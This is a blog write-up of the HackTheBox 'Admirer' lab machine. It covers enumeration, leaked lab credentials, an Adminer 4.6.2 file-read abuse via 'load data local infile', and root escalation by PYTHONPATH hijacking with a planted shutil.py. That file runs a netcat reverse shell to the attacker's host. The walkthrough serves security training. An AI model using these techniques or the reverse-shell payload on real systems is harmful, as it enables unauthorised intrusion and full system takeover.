u915

Daniel Cano Merchán - Hacking & Tech

Writeup Hackthebox HTB Admirer

0 - Basic info

OS: Linux

IP: 10.10.10.187

1 - Reconnaissance and enumeration

sudo nmap -sS -sV -sC -O 10.10.10.187
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-30 20:15 CEST
Nmap scan report for 10.10.10.187
Host is up (0.049s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/30%OT=21%CT=1%CU=39042%PV=Y%DS=2%DC=I%G=Y%TM=5F230E5
OS:2%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=8)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A                                                                                                                                                                
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R                                                                                                                                                                
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F                                                                                                                                                                
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%                                                                                                                                                                
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD                                                                                                                                                                
OS:=S)                                                                                                                                                                                                                                     
	                                                                                                                                                                                                                                   
Network Distance: 2 hops                                                                                                                                                                                                                   
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel                                                                                                                                                                             
	                                                                                                                                                                                                                                   
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .                                                                                                                                      
Nmap done: 1 IP address (1 host up) scanned in 21.77 seconds

Nothing useful on the port 80 just a static web site with images but the port 21 is interesting, FTP with vsftpd 3.0.3, searching exploits:

searchsploit vsftpd
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                           |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption                                                                                                                                           | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1)                                                                                                                                           | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2)                                                                                                                                           | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service                                                                                                                                                                         | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                                                                                                   | unix/remote/17491.rb
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Nothing useful

robots.txt has disabled the directory /admin-dir , fuzzing with Gobuster, inside there are the files contacts.txt and credentials.txt:


##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb

##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb

#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

Great, a lot of plain text passwords. Using the FTP account:

alt text

Inside there are a dump.sql and html.tar.gz seems to be backups files.

Looking inside db_admin.php:

$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";

Sadly not working via ssh…

Also, in the backup there is a file called, admin_tasks.php, open to internet:

<html>                                                                                                                                                                             
<head>                  
  <title>Administrative Tasks</title>                                                         
</head>                                                                                       
<body>                                     
  <h3>Admin Tasks Web Interface (v0.01 beta)</h3>         
  <?php                                                                                       
  // Web Interface to the admin_tasks script                                                  
  //                                                                                          
  if(isset($_REQUEST['task']))
  {                      
    $task = $_REQUEST['task'];
    if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
       $task == '5' || $task == '6' || $task == '7')
    {                                                                                                                                                                                       
      /*********************************************************************************** 
	 Available options:
	   1) View system uptime
	   2) View logged in users
	   3) View crontab (current user only)
	   4) Backup passwd file (not working)
	   5) Backup shadow file (not working)
	   6) Backup web data (not working)
	   7) Backup database (not working)
NOTE: Options 4-7 are currently NOT working because they need root privileges.
	         I'm leaving them in the valid tasks in case I figure out a way
	         to securely run code as root from a PHP page.
      ************************************************************************************/
      echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
    }
    else
    {
      echo("Invalid task.");
    }
  } 
  ?><p>
  <h4>Select task:</p>
  <form method="POST">
    <select name="task">
  <select name="task">
      <option value=1>View system uptime</option>
      <option value=2>View logged in users</option>
      <option value=3>View crontab</option>
      <option value=4 disabled>Backup passwd file</option>
      <option value=5 disabled>Backup shadow file</option>
      <option value=6 disabled>Backup web data</option>
      <option value=7 disabled>Backup database</option>
    </select>
    <input type="submit">
  </form>
</body>
</html>

alt text

Obviously this file catched my attention because apparently it does administrative things and really juicy tasks like backing the passwd and shadow files…

I wasted time here trying to exploit the tool without luck so I supposed it was a rabbit hole.

Trying to fuzz again the path of the tool administrative_tasks.php looking for similar files, because I got a backup of the site maybe the admin is using the path for an upgraded tool or similar scripts:


wfuzz -c -w /usr/share/wordlists/dirb/big.txt -z list,php-txt-html --hc 403,404 -t 100 -u http://10.10.10.187/utility-scripts/FUZZ.FUZ2Z
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.187/utility-scripts/FUZZ.FUZ2Z
Total requests: 61407

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                                                   
===================================================================

000005617:   200        51 L     235 W    4158 Ch     "adminer - php" 

Good, maybe the right path, adminer is a tool similar to phpMyAdmin, for database management and is similar to the box name.

And I got the DB user/pass found on db_admin.php

alt text

2 - Vulnerability Identification

Credentials did not work, but the version is easy to find 4.6.2.

Searching vulnerabilities for the adminer version 4.6.2:

serious-vulnerability-discovered-in-adminer-tool

adminer-script-results-to-pwning-server-private-bug-bounty-program

3 - Exploit

So the flaw is Adminer is not managing correctly remote connections because is allowed to dump remote system data to our local database.

Local database:


sudo mysql -u root -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 39
Server version: 10.3.22-MariaDB-1 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> create database exploit;
Query OK, 1 row affected (0.000 sec)

MariaDB [(none)]> use exploit;
Database changed

MariaDB [exploit]> CREATE DATABASE dummy;
Query OK, 1 row affected (0.001 sec)

MariaDB [exploit]> use dummy;
Database changed
MariaDB [dummy]> CREATE USER 'dummy'@'%' IDENTIFIED BY 'dummy_admirer';
Query OK, 0 rows affected (0.001 sec)

MariaDB [dummy]> create table dummy(data VARCHAR(255));
Query OK, 0 rows affected (0.009 sec)

MariaDB [dummy]> GRANT ALL PRIVILEGES ON * . * TO 'dummy'@'%';
Query OK, 0 rows affected (0.001 sec)

MariaDB [dummy]> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.001 sec)

MariaDB [dummy]> exit
Bye

Next step is to open the database to internet:

sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf

Changing the bind-address to 0.0.0.0 to be open:

	bind-address = 0.0.0.0 

Restart the database service to apply the changes:

	sudo systemctl restart mysql

Configuring Adminer to use my local database:

In the login panel using:

  • system: mysql
  • username: dummy
  • server: local htb vpn ip

Dumping data:

Worked, inside Adminer the panel, the SQL Command editor

alt text

Next step is dumping the file index.php.

Why index.php? because I know there are credentials inside looking the old web backup I found on the FTP. The old credentials did not work so maybe the credentials changed.

	load data local infile /var/www/html/index.php into table dummy;

alt text

Worked, as I figured out before there are credentials inside and are different to the old ones.

alt text

	$username = "waldo"; 
	$password = "&<h5b~yK3F#{PaPB&dA}{H>";

Machine access and user flag

Testing the credentials via ssh:


ssh waldo@10.10.10.187

waldo@10.10.10.187's password: 
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.

Great, I am in and I got a low privileged account.

waldo@admirer:~$ ls
user.txt
waldo@admirer:~$ cat user.txt 
09XXXXXXXXXXXXXXXXX45

4 - Post-Exploitation and privilege escalation

Checking sudo permissions:

waldo@admirer:~$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=alwaysUser waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

So sudo is available on /opt/scripts/admin_tasks.sh. Checking what is inside the path /opt/scripts and studying the files: admin_tasks.php and backup.py

waldo@admirer:/opt/scripts$ ls -lrta
total 16
drwxr-xr-x 3 root root   4096 Nov 30  2019 ..
-rwxr-xr-x 1 root admins 2613 Dec  2  2019 admin_tasks.sh
-rwxr----- 1 root admins  198 Dec  2  2019 backup.py
drwxr-xr-x 2 root admins 4096 Dec  2  2019 .

admin_tasks.sh, similar to the script previously found:


#!/bin/bashview_uptime()
{
    /usr/bin/uptime -p
}view_users()
{
    /usr/bin/w
}view_crontab()
{
    /usr/bin/crontab -l
}backup_passwd()
{
    if [ "$EUID" -eq 0 ]
    then
	echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
	/bin/cp /etc/passwd /var/backups/passwd.bak
	/bin/chown root:root /var/backups/passwd.bak
	/bin/chmod 600 /var/backups/passwd.bak
	echo "Done."
    else
	echo "Insufficient privileges to perform the selected operation."
    fi
}backup_shadow()
{
    if [ "$EUID" -eq 0 ]
    then
	echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
	/bin/cp /etc/shadow /var/backups/shadow.bak
	/bin/chown root:shadow /var/backups/shadow.bak
	/bin/chmod 600 /var/backups/shadow.bak
	echo "Done."
    else
   fi
}backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
	echo "Running backup script in the background, it might take a while..."
	/opt/scripts/backup.py &
    else
	echo "Insufficient privileges to perform the selected operation."
    fi
}backup_db()
{
    if [ "$EUID" -eq 0 ]
    then
	echo "Running mysqldump in the background, it may take a while..."
	#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
	/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
    else
	echo "Insufficient privileges to perform the selected operation."
    fi
}# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
    option=$1
    case $option in
	1) view_uptime ;;
	2) view_users ;;
	3) view_crontab ;;
	4) backup_passwd ;;
	5) backup_shadow ;;
	6) backup_web ;;
	7) backup_db ;;

	*) echo "Unknown option." >&2
    esacexit 0
fi# Interactive way, to be called from the command line
options=("View system uptime"
	 "View logged in users"
	 "View crontab"
	 "Backup passwd file"
	 "Backup shadow file"
	 "Backup web data"
	 "Backup DB"
	 "Quit")echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
	1) view_uptime ; break ;;
	2) view_users ; break ;;
	3) view_crontab ; break ;;
	4) backup_passwd ; break ;;
	5) backup_shadow ; break ;;
	6) backup_web ; break ;;
	7) backup_db ; break ;;
	8) echo "Bye!" ; break ;;*) echo "Unknown option." >&2
    esac
doneexit 0

After a while, I found interesting the function:

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
	echo "Running backup script in the background, it might take a while..."
	/opt/scripts/backup.py &
[...]

So this script call the python script backup.py and waldo has sudo permissions on the .sh file and finally the python script is executed with root permissions:

Checking backup.py

waldo@admirer:/opt/scripts$ cat backup.py 
#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

After studying both files I put the effort on the library called “shutil”, because the python and bash scripts can not be modified.

checking the PYTHONPATH:

waldo@admirer:/opt/scripts$ python -c 'import sys; print "\n".join(sys.path)'

/usr/lib/python2.7
/usr/lib/python2.7/plat-x86_64-linux-gnu
/usr/lib/python2.7/lib-tk
/usr/lib/python2.7/lib-old
/usr/lib/python2.7/lib-dynload
/usr/local/lib/python2.7/dist-packages
/usr/lib/python2.7/dist-packages

So the strategy is library/path hijacking.

To do that we have to modify the PYTHONPATH to use a rogue library forcing to use the library shutil with a custom script instead the original library on a different path.

Creating the path lib inside /home/waldo/lib

waldo@admirer:~$ mkdir lib
waldo@admirer:~$ cd lib/
waldo@admirer:~/lib$ nano shutil.py
waldo@admirer:~/lib$ sudo PYTHONPATH=/home/waldo/lib /opt/scripts/admin_tasks.sh

Custom shutil.py

Just a simple python script to make a reverse connection with netcat. When the function backup_web() is fired, the python script will be executed as root and will open a reverse connection to our machine.

waldo@admirer:~/lib$ cat shutil.py
import os
os.system("nc 10.10.14.11 1234 -e '/bin/sh'")

Setting up a listener

On the pentest machine:

nc -lvp 1234

Executing the file with sudo

Using the option 6, Backup web data, to trigger the script:

[sudo] password for waldo: 

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...

Listening incoming connections…

Worked !

id                                                                                                                                                                                                                                         
uid=0(root) gid=0(root) groups=0(root)                                                                                                                                                                                                     
cat /root/root.txt                                                                                                                                                                                                                         
16XXXXXXXXXXXXXXXXXXXXXXX2e

Thanks for reading!